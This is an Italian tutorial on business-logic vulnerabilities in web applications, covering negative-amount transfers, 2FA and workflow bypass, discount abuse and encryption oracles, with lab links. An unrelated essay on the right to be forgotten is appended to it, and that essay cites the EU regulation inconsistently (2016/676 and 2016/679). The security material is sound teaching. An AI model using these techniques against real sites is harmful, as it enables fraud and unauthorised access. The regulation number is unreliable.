In questa sezione introdurremo il concetto di vulnerabilità della logica aziendale e spiegheremo come possono verificarsi a causa di presupposti errati sul comportamento degli utenti. Discuteremo il potenziale impatto dei difetti logici e come sfruttarli. Infine, forniremo alcune best practice generali per aiutarti a prevenire questo tipo di difetti logici che si verificano nelle tue applicazioni.

Quali sono le vulnerabilità della logica aziendale?

Le vulnerabilità della logica aziendale sono difetti nella progettazione e nell’implementazione di un’applicazione che consentono a un utente malintenzionato di provocare comportamenti non desiderati. Ciò consente potenzialmente agli aggressori di manipolare funzionalità legittime per raggiungere un obiettivo dannoso. Questi difetti sono generalmente il risultato dell’incapacità di anticipare gli stati insoliti dell’applicazione che potrebbero verificarsi e, di conseguenza, dell’incapacità di gestirli in modo sicuro.

Nota

In questo contesto, il termine “logica di business” si riferisce semplicemente all’insieme di regole che definiscono il funzionamento dell’applicazione. Poiché queste regole non sono sempre direttamente correlate a un’azienda, le vulnerabilità associate sono note anche come “vulnerabilità della logica dell’applicazione” o semplicemente “difetti logici”.

I difetti logici sono spesso invisibili alle persone che non li cercano esplicitamente poiché in genere non vengono scoperti dal normale utilizzo dell’applicazione. Tuttavia, un utente malintenzionato potrebbe essere in grado di sfruttare peculiarità comportamentali interagendo con l’applicazione in modi che gli sviluppatori non avrebbero mai previsto.

Uno degli scopi principali della logica aziendale è applicare le regole e i vincoli definiti durante la progettazione dell’applicazione o della funzionalità. In generale, le regole aziendali stabiliscono come l’applicazione dovrebbe reagire quando si verifica un determinato scenario. Ciò include impedire agli utenti di fare cose che avranno un impatto negativo sull’azienda o che semplicemente non hanno senso.

Difetti nella logica possono consentire agli aggressori di aggirare queste regole. Ad esempio, potrebbero essere in grado di completare una transazione senza passare attraverso il flusso di lavoro di acquisto previsto. In altri casi, la convalida interrotta o inesistente dei dati forniti dall’utente potrebbe consentire agli utenti di apportare modifiche arbitrarie ai valori critici della transazione o di inviare input senza senso. Passando valori imprevisti nella logica lato server, un utente malintenzionato può potenzialmente indurre l’applicazione a fare qualcosa che non dovrebbe fare.

Le vulnerabilità basate sulla logica possono essere estremamente diverse e spesso sono esclusive dell’applicazione e della sua funzionalità specifica. Identificarli spesso richiede una certa dose di conoscenza umana, come la comprensione del dominio aziendale o degli obiettivi che un utente malintenzionato potrebbe avere in un determinato contesto. Ciò li rende difficili da rilevare utilizzando scanner di vulnerabilità automatizzati. Di conseguenza, i difetti logici sono un ottimo obiettivo per i cacciatori di bug e i tester manuali in generale.

Come nascono le vulnerabilità della logica aziendale?

Le vulnerabilità della logica aziendale spesso sorgono perché i team di progettazione e sviluppo formulano ipotesi errate sul modo in cui gli utenti interagiranno con l’applicazione. Questi presupposti errati possono portare a una convalida inadeguata dell’input dell’utente. Ad esempio, se gli sviluppatori presuppongono che gli utenti passeranno i dati esclusivamente tramite un browser Web, l’applicazione potrebbe fare affidamento interamente su deboli controlli lato client per convalidare l’input. Questi vengono facilmente aggirati da un utente malintenzionato utilizzando un proxy di intercettazione.

In definitiva, ciò significa che quando un utente malintenzionato si discosta dal comportamento previsto dall’utente, l’applicazione non riesce ad adottare le misure appropriate per prevenirlo e, di conseguenza, non riesce a gestire la situazione in modo sicuro.

I difetti logici sono particolarmente comuni nei sistemi eccessivamente complicati che nemmeno lo stesso team di sviluppo comprende appieno. Per evitare difetti logici, gli sviluppatori devono comprendere l’applicazione nel suo insieme. Ciò include la consapevolezza di come diverse funzioni possano essere combinate in modi inaspettati. Gli sviluppatori che lavorano su codebase di grandi dimensioni potrebbero non avere una conoscenza approfondita del funzionamento di tutte le aree dell’applicazione. Qualcuno che lavora su un componente potrebbe formulare ipotesi errate sul funzionamento di un altro componente e, di conseguenza, introdurre inavvertitamente gravi difetti logici. Se gli sviluppatori non documentano esplicitamente le ipotesi fatte, è facile che questo tipo di vulnerabilità si insinuino in un’applicazione.

Qual è l’impatto delle vulnerabilità della logica aziendale?

L’impatto delle vulnerabilità della logica aziendale può, a volte, essere piuttosto banale. Si tratta di una categoria ampia e l’impatto è molto variabile. Tuttavia, qualsiasi comportamento involontario può potenzialmente portare ad attacchi di elevata gravità se un utente malintenzionato è in grado di manipolare l’applicazione nel modo giusto. Per questo motivo, la logica bizzarra dovrebbe idealmente essere corretta anche se non riesci a capire come sfruttarla da solo. C’è sempre il rischio che qualcun altro possa farlo.

Fondamentalmente, l’impatto di qualsiasi difetto logico dipende dalla funzionalità a cui è correlato. Se il difetto risiede, ad esempio, nel meccanismo di autenticazione, ciò potrebbe avere un grave impatto sulla sicurezza complessiva. Gli aggressori potrebbero potenzialmente sfruttarlo per aumentare i privilegi o aggirare completamente l’autenticazione, ottenendo l’accesso a dati e funzionalità sensibili. Ciò espone anche una maggiore superficie di attacco per altri exploit.

Una logica errata nelle transazioni finanziarie può ovviamente portare a ingenti perdite per l’azienda attraverso il furto di fondi, frodi e così via.

È inoltre necessario tenere presente che, anche se i difetti logici potrebbero non consentire a un utente malintenzionato di trarne un vantaggio diretto, potrebbero comunque consentire a un malintenzionato di danneggiare in qualche modo l’azienda.

Quali sono alcuni esempi di vulnerabilità della logica aziendale?

Il modo migliore per comprendere le vulnerabilità della logica aziendale è esaminare casi reali e imparare dagli errori commessi. Abbiamo fornito esempi concreti di una serie di difetti logici comuni, nonché di alcuni siti Web deliberatamente vulnerabili, in modo che tu possa esercitarti a sfruttare queste vulnerabilità da solo.

Come prevenire le vulnerabilità della logica aziendale

In breve, le chiavi per prevenire le vulnerabilità della logica aziendale sono:

  • assicurati che sviluppatori e tester comprendano il dominio servito dall’applicazione
  • evitare di fare supposizioni implicite sul comportamento dell’utente o sul comportamento di altre parti dell’applicazione

Dovresti identificare quali presupposti hai fatto riguardo allo stato lato server e implementare la logica necessaria per verificare che tali presupposti siano soddisfatti. Ciò include assicurarsi che il valore di qualsiasi input sia ragionevole prima di procedere.

È anche importante assicurarsi che sia gli sviluppatori che i tester siano in grado di comprendere appieno questi presupposti e il modo in cui l’applicazione dovrebbe reagire in diversi scenari. Ciò può aiutare il team a individuare i difetti logici il prima possibile. Per facilitare ciò, il team di sviluppo dovrebbe aderire, ove possibile, alle seguenti migliori pratiche:

  • mantieni documenti di progettazione e flussi di dati chiari per tutte le transazioni e i flussi di lavoro, annotando eventuali ipotesi formulate in ogni fase.
  • scrivi il codice nel modo più chiaro possibile. Se è difficile capire cosa dovrebbe succedere, sarà difficile individuare eventuali difetti logici. Idealmente, un codice ben scritto non dovrebbe aver bisogno di documentazione per capirlo. In casi inevitabilmente complessi, produrre una documentazione chiara è fondamentale per garantire che altri sviluppatori e tester sappiano quali ipotesi vengono fatte e qual è esattamente il comportamento previsto.
  • prendere nota di eventuali riferimenti ad altro codice che utilizza ciascun componente. Pensa agli eventuali effetti collaterali di queste dipendenze se un malintenzionato dovesse manipolarle in un modo insolito.

A causa della natura relativamente unica di molti difetti logici, è facile liquidarli come un errore occasionale dovuto a un errore umano e andare avanti. Tuttavia, come abbiamo dimostrato, questi difetti sono spesso il risultato di cattive pratiche nelle fasi iniziali della creazione dell’applicazione. Analizzare il motivo per cui esisteva un difetto logico e come il team non lo ha notato può aiutarti a individuare i punti deboli nei tuoi processi. Apportando piccole modifiche, è possibile aumentare la probabilità che difetti simili vengano eliminati alla fonte o rilevati nelle prime fasi del processo di sviluppo.

Esempi di vulnerabilità della logica aziendale

Le vulnerabilità della logica aziendale sono relativamente specifiche per il contesto in cui si verificano. Tuttavia, sebbene i singoli casi di difetti logici differiscano enormemente, possono condividere molti temi comuni. In particolare, possono essere raggruppati in modo approssimativo in base agli errori iniziali che hanno inizialmente introdotto la vulnerabilità.

In questa sezione esamineremo esempi di alcuni errori tipici commessi dai team di progettazione e sviluppo e mostreremo come possano portare direttamente a difetti nella logica aziendale. Sia che tu stia sviluppando le tue applicazioni o verificando quelle esistenti, puoi prendere le lezioni apprese da questi esempi e applicare lo stesso pensiero critico ad altre applicazioni che incontri.

Esempi di difetti logici includono:

  • fiducia eccessiva nei controlli lato client;
  • impossibile gestire input non convenzionali;
  • fare ipotesi errate sul comportamento degli utenti;
  • difetti specifici del dominio;
  • fornire un oracolo di crittografia;
  • discrepanze del parser dell’indirizzo e-mail .

Fiducia eccessiva nei controlli lato client

Un presupposto fondamentalmente errato è che gli utenti interagiranno con l’applicazione solo tramite l’interfaccia web fornita. Ciò è particolarmente pericoloso perché porta all’ulteriore presupposto che la convalida lato client impedirà agli utenti di fornire input dannosi. Tuttavia, un utente malintenzionato può semplicemente utilizzare strumenti come Burp Proxy per manomettere i dati dopo che sono stati inviati dal browser ma prima che vengano passati alla logica lato server. Ciò rende effettivamente inutili i controlli lato client.

Accettare i dati per oro colato, senza eseguire adeguati controlli di integrità e convalida lato server, può consentire a un utente malintenzionato di causare tutti i tipi di danni con uno sforzo relativamente minimo. Ciò che esattamente sono in grado di ottenere dipende dalla funzionalità e da cosa sta facendo con i dati controllabili. Nel giusto contesto, questo tipo di difetto può avere conseguenze devastanti sia per la funzionalità aziendale che per la sicurezza del sito web stesso.

Lab: https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-excessive-trust-in-client-side-controls

Lab: https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-broken-logic

Non riuscire a gestire input non convenzionali

Uno degli obiettivi della logica dell’applicazione è limitare l’input dell’utente a valori che aderiscono alle regole aziendali. Ad esempio, l’applicazione può essere progettata per accettare valori arbitrari di un determinato tipo di dati, ma la logica determina se questo valore è accettabile o meno dal punto di vista dell’azienda. Molte applicazioni incorporano limiti numerici nella loro logica. Ciò potrebbe includere limiti progettati per gestire l’inventario, applicare restrizioni di budget, attivare fasi della catena di fornitura e così via.

Prendiamo il semplice esempio di un negozio online. Quando ordinano i prodotti, gli utenti in genere specificano la quantità che desiderano ordinare. Sebbene in teoria qualsiasi numero intero sia un input valido, la logica aziendale potrebbe impedire agli utenti di ordinare più unità di quelle attualmente disponibili in magazzino.

Per implementare regole come questa, gli sviluppatori devono anticipare tutti i possibili scenari e incorporare modi per gestirli nella logica dell’applicazione. In altre parole, devono dire all’applicazione se deve consentire un determinato input e come dovrebbe reagire in base alle varie condizioni. Se non esiste una logica esplicita per gestire un determinato caso, ciò può portare a comportamenti imprevisti e potenzialmente sfruttabili.

Ad esempio, un tipo di dati numerico potrebbe accettare valori negativi. A seconda della funzionalità correlata, potrebbe non avere senso che la logica aziendale lo consenta. Tuttavia, se l’applicazione non esegue un’adeguata convalida lato server e rifiuta questo input, un utente malintenzionato potrebbe essere in grado di passare un valore negativo e indurre un comportamento indesiderato.

Consideriamo un trasferimento di fondi tra due conti bancari. Questa funzionalità controllerà quasi sicuramente se il mittente dispone di fondi sufficienti prima di completare il trasferimento:

$transferAmount = $_POST[’amount’];
$currentBalance = $user->getBalance();

if ($transferAmount <= $currentBalance) {
	// Complete the transfer
} else {
	// Block the transfer: insufficient funds
}

Ma se la logica non impedisce sufficientemente agli utenti di fornire un valore negativo nel parametro dell’importo, un utente malintenzionato potrebbe sfruttarlo per aggirare il controllo del saldo e trasferire fondi nella direzione “sbagliata”. Se l’aggressore ha inviato -$1000 sul conto della vittima, ciò potrebbe comportare la ricezione di $1000 dalla vittima. La logica valuterebbe sempre che -1000 è inferiore al saldo corrente e approverebbe il trasferimento.

Semplici difetti logici come questo possono essere devastanti se si verificano nella giusta funzionalità. È anche facile non notarli durante lo sviluppo e il test, soprattutto perché tali input potrebbero essere bloccati dai controlli lato client sull’interfaccia web.

Quando controlli un’applicazione, dovresti utilizzare strumenti come Burp Proxy e Repeater per provare a inviare valori non convenzionali. In particolare, prova a inserire intervalli in cui difficilmente gli utenti legittimi entreranno mai. Ciò include input numerici eccezionalmente alti o eccezionalmente bassi e stringhe anormalmente lunghe per campi basati su testo. Puoi anche provare tipi di dati inaspettati. Osservando la risposta dell’applicazione, dovresti provare a rispondere alle seguenti domande:

  • Ci sono dei limiti imposti ai dati?
  • Cosa succede quando raggiungi questi limiti?
  • È stata eseguita qualche trasformazione o normalizzazione sul tuo input?

Ciò potrebbe esporre a una convalida dell’input debole che consente di manipolare l’applicazione in modi insoliti. Tieni presente che se trovi un modulo sul sito Web di destinazione che non riesce a gestire in modo sicuro input non convenzionali, è probabile che altri moduli presentino gli stessi problemi.

Lab: https://portswigger.net/web-security/logic-flaws/examples#failing-to-handle-unconventional-input

Lab: https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-low-level

Lab: https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-inconsistent-handling-of-exceptional-input

Fare ipotesi errate sul comportamento degli utenti

Una delle cause principali più comuni delle vulnerabilità logiche è la formulazione di ipotesi errate sul comportamento degli utenti. Ciò può portare a un’ampia gamma di problemi in cui gli sviluppatori non hanno considerato scenari potenzialmente pericolosi che violano questi presupposti. In questa sezione forniremo alcuni esempi cautelativi di presupposti comuni che dovrebbero essere evitati e dimostreremo come possano portare a pericolosi difetti logici.

Gli utenti fidati non rimarranno sempre affidabili

Le applicazioni possono sembrare sicure perché implementano misure apparentemente robuste per far rispettare le regole aziendali. Sfortunatamente, alcune applicazioni commettono l’errore di presumere che, dopo aver superato inizialmente questi severi controlli, si possa fidarsi dell’utente e dei suoi dati a tempo indeterminato. Ciò può comportare un’applicazione relativamente lassista degli stessi controlli da quel momento in poi.

Se le regole aziendali e le misure di sicurezza non vengono applicate in modo coerente in tutta l’applicazione, ciò può portare a lacune potenzialmente pericolose che possono essere sfruttate da un utente malintenzionato.

Lab: https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-inconsistent-security-controls

Gli utenti non forniranno sempre input obbligatori

Un malinteso è che gli utenti forniranno sempre valori per i campi di input obbligatori. I browser possono impedire agli utenti comuni di inviare un modulo senza un input richiesto ma, come sappiamo, gli aggressori possono manomettere i parametri in transito. Ciò si estende anche alla rimozione completa dei parametri.

Questo è un problema particolare nei casi in cui più funzioni sono implementate all’interno dello stesso script lato server. In questo caso, la presenza o l’assenza di un particolare parametro può determinare quale codice verrà eseguito. La rimozione dei valori dei parametri può consentire a un utente malintenzionato di accedere a percorsi di codice che dovrebbero essere fuori portata.

Quando cerchi difetti logici, dovresti provare a rimuovere ciascun parametro a turno e osservare quale effetto questo ha sulla risposta. Dovresti assicurarti di:

  • rimuovere solo un parametro alla volta per garantire che vengano raggiunti tutti i percorsi del codice rilevanti;
  • provare a eliminare il nome del parametro e il valore. Il server in genere gestirà entrambi i casi in modo diverso;
  • seguire i processi in più fasi fino al completamento. A volte la manomissione di un parametro in un passaggio avrà un effetto su un altro passaggio più avanti nel flusso di lavoro.

Questo vale sia per i parametri URL che per quelli POST, ma non dimenticare di controllare anche i cookie. Questo semplice processo può rivelare alcuni comportamenti bizzarri dell’applicazione che potrebbero essere sfruttabili.

Lab: https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-weak-isolation-on-dual-use-endpoint

Lab: https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-broken-logic

Gli utenti non seguiranno sempre la sequenza prevista

Molte transazioni si basano su flussi di lavoro predefiniti costituiti da una sequenza di passaggi. L’interfaccia web in genere guida gli utenti attraverso questo processo, portandoli alla fase successiva del flusso di lavoro ogni volta che completano quello corrente. Tuttavia, gli aggressori non necessariamente aderiranno a questa sequenza prevista. Non tenere conto di questa possibilità può portare a difetti pericolosi che possono essere relativamente semplici da sfruttare.

Ad esempio, molti siti Web che implementano l’autenticazione a due fattori (2FA) richiedono agli utenti di accedere su una pagina prima di inserire un codice di verifica su una pagina separata. Supponendo che gli utenti seguano sempre questo processo fino al completamento e, di conseguenza, non verificando che lo facciano, potrebbe consentire agli aggressori di ignorare completamente il passaggio 2FA.

Lab: https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-simple-bypass

Fare ipotesi sulla sequenza degli eventi può portare a un’ampia gamma di problemi anche all’interno dello stesso flusso di lavoro o funzionalità. Utilizzando strumenti come Burp Proxy e Repeater, una volta che un utente malintenzionato ha visto una richiesta, può riprodurla a piacimento e utilizzare la navigazione forzata per eseguire qualsiasi interazione con il server nell’ordine desiderato. Ciò consente loro di completare diverse azioni mentre l’applicazione si trova in uno stato imprevisto.

Per identificare questo tipo di difetti, dovresti utilizzare la navigazione forzata per inviare richieste in una sequenza non prevista. Ad esempio, potresti saltare determinati passaggi, accedere a un singolo passaggio più di una volta, tornare ai passaggi precedenti e così via. Prendere nota di come si accede ai diversi passaggi. Sebbene spesso invii semplicemente una richiesta GET o POST a un URL specifico, a volte puoi accedere ai passaggi inviando diversi set di parametri allo stesso URL. Come per tutti i difetti logici, prova a identificare quali ipotesi hanno fatto gli sviluppatori e dove si trova la superficie di attacco. È quindi possibile cercare modi per violare questi presupposti.

Tieni presente che questo tipo di test causerà spesso eccezioni perché le variabili previste hanno valori nulli o non inizializzati. Anche l’arrivo in un luogo in uno stato parzialmente definito o incoerente potrebbe causare un reclamo da parte dell’applicazione. In questo caso, assicurati di prestare molta attenzione a eventuali messaggi di errore o informazioni di debug che incontri. Questi possono essere una preziosa fonte di divulgazione di informazioni, che può aiutarti a mettere a punto il tuo attacco e comprendere i dettagli chiave sul comportamento di back-end.

Lab: https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation

Lab: https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-authentication-bypass-via-flawed-state-machine

Difetti specifici del dominio

In molti casi, incontrerai difetti logici specifici del dominio aziendale o dello scopo del sito.

La funzionalità di sconto dei negozi online è una classica superficie di attacco quando si va a caccia di difetti logici. Questa può essere una potenziale miniera d’oro per un utente malintenzionato, con tutti i tipi di difetti logici di base che si verificano nel modo in cui vengono applicati gli sconti.

Ad esempio, considera un negozio online che offre uno sconto del 10% sugli ordini superiori a $ 1000. Ciò potrebbe essere vulnerabile ad abusi se la logica aziendale non riesce a verificare se l’ordine è stato modificato dopo l’applicazione dello sconto. In questo caso, un utente malintenzionato potrebbe semplicemente aggiungere articoli al carrello fino a raggiungere la soglia di $ 1000, quindi rimuovere gli articoli che non desidera prima di effettuare l’ordine. Riceverebbero quindi lo sconto sul loro ordine anche se non soddisfa più i criteri previsti.

Dovresti prestare particolare attenzione a qualsiasi situazione in cui i prezzi o altri valori sensibili vengono modificati in base a criteri determinati dalle azioni dell’utente. Cerca di capire quali algoritmi utilizza l’applicazione per apportare queste modifiche e in quale punto vengono apportate queste modifiche. Ciò spesso comporta la manipolazione dell’applicazione in modo che si trovi in ​​uno stato in cui le modifiche applicate non corrispondono ai criteri originali previsti dagli sviluppatori.

Per identificare queste vulnerabilità, è necessario riflettere attentamente su quali obiettivi potrebbe avere un utente malintenzionato e provare a trovare diversi modi per raggiungerlo utilizzando la funzionalità fornita. Ciò potrebbe richiedere un certo livello di conoscenza specifica del dominio per capire cosa potrebbe essere vantaggioso in un dato contesto. Per usare un semplice esempio, è necessario comprendere i social media per comprendere i vantaggi di costringere un gran numero di utenti a seguirti.

Senza questa conoscenza del dominio, potresti respingere un comportamento pericoloso semplicemente perché non sei consapevole dei suoi potenziali effetti a catena. Allo stesso modo, potresti avere difficoltà a unire i punti e notare come due funzioni possano essere combinate in modo dannoso. Per semplicità, gli esempi utilizzati in questo argomento sono specifici per un dominio con cui tutti gli utenti avranno già familiarità, vale a dire un negozio online. Tuttavia, che tu stia cercando bug, pentesting o anche solo uno sviluppatore che cerca di scrivere codice più sicuro, a un certo punto potresti imbatterti in applicazioni provenienti da domini meno familiari. In questo caso, dovresti leggere quanta più documentazione possibile e, ove disponibile, parlare con esperti in materia del settore per ottenere informazioni. Potrebbe sembrare un lavoro impegnativo, ma più il dominio è “oscuro”, più è probabile che gli altri tester non abbiano notato molti bug.

Lab: https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-flawed-enforcement-of-business-rules

Lab: https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-infinite-money

Fornire un “oracolo di crittografia”

Possono verificarsi scenari pericolosi quando l’input controllabile dall’utente viene crittografato e il testo cifrato risultante viene quindi reso disponibile all’utente in qualche modo. Questo tipo di input è talvolta noto come “oracolo di crittografia”. Un utente malintenzionato può utilizzare questo input per crittografare dati arbitrari utilizzando l’algoritmo corretto e la chiave asimmetrica.

Ciò diventa pericoloso quando nell’applicazione sono presenti altri input controllabili dall’utente che prevedono dati crittografati con lo stesso algoritmo. In questo caso, un utente malintenzionato potrebbe potenzialmente utilizzare l’oracolo di crittografia per generare input validi e crittografati e quindi trasmetterli ad altre funzioni sensibili.

Questo problema può essere aggravato se sul sito è presente un altro input controllabile dall’utente che fornisce la funzione inversa. Ciò consentirebbe all’aggressore di decrittografare altri dati per identificare la struttura prevista. Ciò risparmia loro parte del lavoro necessario per creare dati dannosi, ma non è necessariamente necessario per creare un exploit di successo.

La gravità di un oracolo di crittografia dipende da quale funzionalità utilizza anche lo stesso algoritmo dell’oracolo.

Lab: https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-authentication-bypass-via-encryption-oracle

Discrepanze nel parser degli indirizzi e-mail

Alcuni siti Web analizzano gli indirizzi e-mail per estrarre il dominio e determinare a quale organizzazione appartiene il proprietario dell’e-mail. Anche se inizialmente questo processo può sembrare semplice, in realtà è molto complesso, anche per indirizzi validi conformi a RFC.

Le discrepanze nel modo in cui vengono analizzati gli indirizzi e-mail possono compromettere questa logica. Queste discrepanze si verificano quando diverse parti dell’applicazione gestiscono gli indirizzi e-mail in modo diverso.

Un utente malintenzionato può sfruttare queste discrepanze utilizzando tecniche di codifica per mascherare parti dell’indirizzo e-mail. Ciò consente all’aggressore di creare indirizzi e-mail che superano i controlli di convalida iniziali ma vengono interpretati in modo diverso dalla logica di analisi del server.

L’impatto principale delle discrepanze del parser degli indirizzi e-mail è l’accesso non autorizzato. Gli aggressori possono registrare account utilizzando indirizzi e-mail apparentemente validi provenienti da domini limitati. Ciò consente loro di accedere ad aree sensibili dell’applicazione, come pannelli di amministrazione o funzioni utente riservate.

Maggiori informazioni

Per informazioni dettagliate sulle discrepanze nell’analisi delle e-mail, incluso il modo in cui possono essere sfruttate, consultare il white paper Splitting the Email Atom: Exploiting Parser to Bypass Access Controls di Gareth Heyes del team di ricerca di PortSwigger.
Lab: https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-bypassing-access-controls-using-email-address-parsing-discrepancies

Il diritto all’oblio nella società digitale: “right to be forgotten” nell’Internet che non dimentica

In questo articolo si discute il ruolo della memoria e dell’oblio nella costruzione dell’identità personale e sociale, confrontando l’era pre-digitale con l’attuale epoca digitale. Nell’era pre-digitale, la diffusione delle informazioni era limitata e controllata principalmente dai media tradizionali. Tuttavia, l’avvento di Internet ha radicalmente cambiato questa situazione, consentendo un’ampia diffusione e accessibilità delle informazioni, con la possibilità di conservare il passato in un “quasi eterno presente”. Questo aumento esponenziale delle informazioni online presenta rischi per l’individuo, come la perdita della dimensione cronologica delle notizie e il potenziale deterioramento dell’immagine personale a causa dell’accesso alle informazioni passate. Viene, inoltre, proposto il “diritto all’oblio” come uno strumento di tutela per impedire che eventi passati influenzino negativamente l’immagine attuale di una persona. L’attenzione viene posta, altresì, all’evolversi del concetto di oblio nel tempo, l’impatto della transizione al mondo digitale su questo diritto e le norme europee, in particolare il Regolamento UE 2016/676, che riguardano la protezione dei dati personali e contribuiscono alla definizione del diritto all’oblio.

Il dibattito sulla regolamentazione di Internet e sul suo impatto sulla libertà di espressione e sulla privacy individuale è un argomento complesso e sfaccettato. L’avanzamento tecnologico nell’ambito delle Tecnologie dell’Informazione e della Comunicazione (ICT) ha portato a una rivoluzione nelle modalità di comunicazione e nell’esercizio dei diritti fondamentali, in particolare la libertà di espressione, garantita dalla Costituzione all’articolo 21. Questa trasformazione ha sollevato questioni importanti riguardo alla privacy e alla protezione dei dati personali, culminando nel concetto di “diritto all’oblio”, che permette alle persone di richiedere la rimozione di informazioni obsolete o irrilevanti su di loro da Internet.

Le sfide legislative nel bilanciare i diritti alla libertà di informazione e alla privacy sono notevoli, in particolare in un contesto globalizzato dove la diffusione delle informazioni è praticamente illimitata. Il tentativo di regolamentare Internet ha spesso suscitato controversie, percepite da alcuni come tentativi di limitare la libertà di espressione. Tuttavia, la mancanza di regolamentazione adeguata può portare a un’atmosfera di anarchia online, dove la responsabilità personale è facilmente elusa.

La decisione del CERN di rendere pubblica la tecnologia del World Wide Web nel 1993, ha segnato l’inizio di una nuova era di accessibilità all’informazione, ma ha anche introdotto il dilemma di come gestire una rete globale senza regole chiare. Questo ha portato all’emergere di “nuovi diritti” legati alla digitalizzazione della società, tra cui il diritto alla riservatezza e il diritto all’oblio, interpretati come estensioni dei diritti costituzionali esistenti. Questi diritti mirano a proteggere la dignità e la privacy degli individui nell’era digitale, consentendo loro di controllare come le loro informazioni personali vengono condivise e ricordate online.

In conclusione, la necessità di proteggere l’identità digitale delle persone e di garantire la loro privacy online è diventata una priorità nell’attuale società dell’informazione. Il diritto all’oblio emerge come uno strumento fondamentale per salvaguardare la reputazione e l’identità personale degli individui, affrontando le sfide poste dalla permanenza e dalla pervasività delle informazioni personali su Internet.

L’ implementazione del diritto all’oblio presenta sfide significative che richiedono un equilibrio attento tra la privacy individuale e la libertà di informazione. In un mondo sempre più interconnesso e digitale, il diritto all’oblio continua a essere un argomento di grande rilevanza e dibattito.

Nel panorama giuridico europeo, la protezione dei dati personali si è affermata come un diritto fondamentale, rispondendo alla necessità di bilanciare la privacy individuale con le libertà di informazione ed espressione in un contesto sempre più dominato dalla presenza digitale. La distinzione tra il diritto alla protezione dei dati personali e il diritto al rispetto della vita privata, come delineato nella Carta dei diritti fondamentali dell’Unione europea, segnala un’evoluzione da una concezione statica e negativa della privacy verso una tutela dinamica e proattiva dei dati, implicando un potere di intervento e controllo non solo da parte degli individui ma anche attraverso la supervisione di autorità indipendenti.

Questo cambiamento trova conferma nell’evoluzione legislativa, partendo dalla direttiva 95/46/CE, attraverso l’introduzione del Codice in materia di protezione dei dati personali in Italia (d.lgs. 196/2003), fino all’adozione del Regolamento (UE) 2016/679 (GDPR – General Data Protection Regulation), che ha introdotto un quadro giuridico uniforme e direttamente applicabile in tutti gli Stati membri dell’Unione Europea. L’intento è quello di assicurare che il trattamento dei dati personali avvenga nel rispetto dei diritti e delle libertà fondamentali degli individui.

Tuttavia, il dibattito sul diritto all’oblio, specialmente in relazione al ruolo dei motori di ricerca e alla gestione delle informazioni online, ha sollevato questioni complesse sul bilanciamento dei diritti in gioco. La sentenza della Corte di Giustizia dell’Unione Europea nel caso Google Spain ha segnato un punto di svolta, riconoscendo la responsabilità dei motori di ricerca nel trattamento dei dati personali e affermando il diritto degli individui di richiedere la rimozione di informazioni obsolete o irrilevanti dalla lista dei risultati di ricerca, ponendo le basi per una tutela più efficace della privacy digitale.

In contrapposizione, la Corte Europea dei Diritti dell’Uomo ha adottato un approccio differente, privilegiando la libertà di espressione e il diritto del pubblico all’informazione rispetto al diritto all’oblio, suggerendo una soluzione meno drastica attraverso l’aggiunta di precisazioni o aggiornamenti alle informazioni già pubblicate, piuttosto che la loro rimozione completa.

Queste dinamiche riflettono le tensioni intrinseche nel bilanciamento tra privacy e trasparenza nell’era digitale, evidenziando l’importanza di un dialogo continuo e di un approccio multilivello alla regolamentazione dei diritti in rete, che tenga conto della complessità e della fluidità del contesto digitale globale. La sfida per legislatori e giudici rimane quella di trovare equilibri dinamici che possano tutelare efficacemente i diritti degli individui senza soffocare le libertà fondamentali che sono alla base di una società democratica e informata.

Il “diritto all’oblio”, inteso come la prerogativa di essere dimenticati dalla collettività, si afferma nel contesto giuridico come una dimensione fondamentale della tutela della privacy e dell’identità personale nell’era digitale. Questo diritto consente agli individui di richiedere la deindicizzazione e, in alcuni casi, la cancellazione di dati personali dai motori di ricerca quando tali informazioni, un tempo pertinenti o di interesse pubblico, diventano obsolete o irrilevanti, evitando così una perpetua esposizione mediatica che potrebbe danneggiare la reputazione personale.

Viene in tal modo introdotta la possibilità per ogni individuo di richiedere la cancellazione di informazioni che, con il trascorrere del tempo, hanno perso rilevanza o interesse pubblico. L’attuazione di tale diritto si basa sulla valutazione della persistente rilevanza delle informazioni, tenendo conto dell’evoluzione del contesto sociale e informativo.

La giurisprudenza civile stabilisce criteri specifici per la pubblicazione di notizie che potrebbero compromettere l’onore e la reputazione, richiedendo la verità oggettiva della notizia, l’interesse pubblico alla conoscenza del fatto e la correttezza formale dell’esposizione. Con il tempo, è emersa una nuova sensibilità giuridica che limita il diritto di cronaca alla luce dell’attualità delle notizie, precludendo la diffusione di informazioni non più rilevanti socialmente o d’interesse pubblico.

Il diritto all’oblio si distingue per la sua funzione di tutela dell’identità personale di fronte all’impatto potenzialmente illimitato e duraturo delle informazioni digitali. La giurisprudenza civile enfatizza la necessità di proteggere la proiezione sociale dell’identità dell’individuo, assicurando che dati personali obsoleti o non più pertinenti non siano ulteriormente diffusi, in considerazione dell’evoluzione della reputazione e dell’identità personale nel tempo.

Questa concezione del diritto all’oblio viene riconosciuta anche dalla Corte Costituzionale, che ha stabilito la possibilità di cancellare dal casellario giudiziale le iscrizioni di responsabili di illeciti minori dopo un periodo adeguato senza ulteriori reati, riaffermando l’importanza del bilanciamento tra il diritto all’oblio e altre esigenze di carattere pubblico.

La Suprema Corte ribadisce che il diritto all’oblio non si riduce alla mera cancellazione di notizie dannose per la reputazione, ma implica la capacità di aggiornare o rimuovere informazioni che, con il passare del tempo, diventano lesive per l’identità personale dell’interessato. Questo diritto si estende alla protezione contro la diffusione non necessaria di notizie passate che non presentano più un interesse pubblico o una rilevanza sociale, stabilendo un equilibrio tra il diritto di cronaca e la libertà di espressione, da un lato, e la tutela della privacy e dell’identità personale, dall’altro.

L’approfondimento mira a delineare come questi diritti contribuiscano a consolidare il principio di autodeterminazione informativa, permettendo all’individuo un controllo più stringente sulle proprie informazioni personali.

